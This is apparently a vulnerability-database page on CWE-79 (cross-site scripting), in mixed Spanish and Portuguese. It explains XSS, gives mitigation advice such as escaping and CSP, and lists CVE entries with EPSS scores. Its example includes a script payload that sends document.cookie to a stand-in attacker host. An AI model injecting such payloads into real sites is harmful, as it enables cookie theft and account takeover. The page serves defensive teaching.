Fallos del tipo CWE-79

28.639 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2022-23058—ERPNext - Stored XSS in My SettingsEPSS 0.9%CVE-2022-43425MEDIUMJenkins Custom Checkbox Parameter Plugin 1.4 and earlier does not escape the name and description of Custom Checkbox Parameter parameters onEPSS 0.9%CVE-2018-17904—Reliance 4 SCADA/HMI, Version 4.7.3 Update 3 and prior. This vulnerability could allow an unauthorized attacker to inject arbitrary code.EPSS 0.9%CVE-2022-23072—Recipes - Stored XSS in Add to CartEPSS 0.9%CVE-2022-23056—ERPNext - Stored XSS leads to account takoverEPSS 0.9%CVE-2023-36030MEDIUMMicrosoft Dynamics 365 Sales Spoofing VulnerabilityEPSS 0.9%CVE-2022-23074—Recipes - Stored XSS in Name ParameterEPSS 0.9%CVE-2019-13538—3S-Smart Software Solutions GmbH CODESYS V3 Library Manager, all versions prior to 3.5.16.0, allows the system to display active library conEPSS 0.9%CVE-2023-0514MEDIUMMembership Database <= 1.0 - Reflected XSSEPSS 0.9%CVE-2022-0527MEDIUMCross-site Scripting (XSS) - Stored in chatwoot/chatwootEPSS 0.9%CVE-2021-4050MEDIUMCross-site Scripting (XSS) - Stored in livehelperchat/livehelperchatEPSS 0.9%CVE-2023-0948MEDIUMJapanized For WooCommerce < 2.5.8 - Reflected XSSEPSS 0.9%CVE-2017-12346—Multiple vulnerabilities in Cisco Data Center Network Manager (DCNM) Software could allow a remote attacker to inject arbitrary values into EPSS 0.9%CVE-2017-12347—Multiple vulnerabilities in Cisco Data Center Network Manager (DCNM) Software could allow a remote attacker to inject arbitrary values into EPSS 0.9%CVE-2022-43499MEDIUMStored cross-site scripting vulnerability in SHIRASAGI versions prior to v1.16.2 allows a remote authenticated attacker with an administratiEPSS 0.9%CVE-2023-1546MEDIUMMyCryptoCheckout < 2.124 - Reflected XSSEPSS 0.9%CVE-2022-32159—Openlibrary - Stored XSSEPSS 0.9%CVE-2022-1527—WP 2FA < 2.2.1 - Reflected Cross-Site ScriptingEPSS 0.8%CVE-2022-1604—MailerLite < 1.5.4 - Reflected Cross-Site ScriptingEPSS 0.8%CVE-2022-1474—WP Event Manager < 3.1.28 - Reflected Cross-Site ScriptingEPSS 0.8%